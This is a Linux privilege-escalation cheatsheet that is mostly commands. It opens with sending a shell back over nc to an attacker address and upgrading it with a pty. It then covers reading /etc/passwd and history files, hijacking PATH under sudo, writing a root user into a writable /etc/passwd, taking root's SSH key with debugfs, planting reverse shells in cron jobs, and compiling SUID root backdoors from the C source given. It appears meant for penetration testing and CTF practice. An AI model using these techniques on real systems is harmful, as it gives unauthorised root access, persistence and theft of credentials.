Table of contents

Linux Privilege Escalation Cheatsheet

So you got a shell, what now? This cheatsheet will help you with local enumeration as well as escalate your privilege further

Usage of different enumeration scripts are encouraged, my favourite is LinPEAS Another linux enumeration script I personally use is LinEnum Abuse existing functionality of programs using GTFOBins

Note: This is a live document. I’ll be adding more content as I learn more

Unstable shell

Send yourself another shell from within the unstable shell

which nc
nc $ip $port

Make it functional

Necessary for privilege escalation purposes

which python[3]
python[3] -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
# In Kali
stty -a # Notice number of rows and columns
stty raw -echo && fg
# On target system
stty rows xx
stty columns yy
export TERM=xterm-256color

General info

# username, groups

# Part of too many groups? Find out all the files you've access to
for i in $(groups); do echo "=======$i======"; find / -group $i 2>/dev/null | grep -v "proc" >> allfiles; done

# Interesting internally listening ports?
netstat -anpt

# Look what the user was up to
less .bash_history
less mysql_history

# Check user accounts
cat /etc/passwd | grep "sh$\|python"

sudo -l

Automated enumeration

# Automated local enumeration
# Look for any highlighted stuff
# Cron jobs
# Non-standard scripts or programs
# Hardcoded credentials. Check password re-use against existing accounts
./ -q


Abusing sudo

Can sudo but absolute path is specified? Use ltrace to view libraries being loaded by these programs and check if absolute path is specified or not

# Easy win?
sudo -l # Check programs on GTFOBins

# Can sudo, abosulte path not specified?
echo "/bin/sh" > <program_name>
chmod 777 <program_name>
# Export PATH=.:$PATH
sudo <program_name>

Weak file permissions

# Writable /etc/passwd?
Remove 'x' beside a username --> no password
# Create a new user
openssl passwd "lol" # Prints out a hash
# Make a new entry at the end of /etc/passwd
notahacker:$passwd_hash:0:0:/root:/bin/bash # Become r00t yourself

# /dev/sda1 readable?
debugfs /dev/sda1 # Get root's SSH private key 

Abusing CRON jobs

# Writable CRON program?
# Insert language specific reverse shell

# Writable library?
# Back up library
# Insert language specific reverse shell at the end of the library

# Make root give you a bash SUID program
# Make file with following contents and wait for CRON job to run the program
cp /bin/dash /tmp/backdoor
chown root:root /tmp/backdoor
chmod u+s /tmp/backdoor
# Execute /tmp/backdoor to get a root shell

cp /bin/bash /tmp/backdoor
chmod 6755 /tmp/backdoor
# Execute /tmp/backdoor -p to get a root shell

Use a suid program and use as per context getsuid.c

// gcc -o suid getsuid.c
	// chown root:root suid
	// chmod 6755 suid

// immediately spawns shell upon execution 
int main() {
	system("/bin/bash -p");

// or better, execvp doesn't drop euid
// able to handle more things without any modifications
// run commands as root
#include <stdio.h>
#include <unistd.h>

int main(int argc, const char * argv[]){
	if (argc > 1) printf("%s",execvp(argv[1],&argv[1]));
	return 0;

Abusing wildcards

Check out this fantastic document of a talk

  • Abusing chmod
  • Abusing chown
  • Abusing tar
  • Abusing rsync

Abusing NFS < 4

Refer to my personal notes for exploiting NFS < 4

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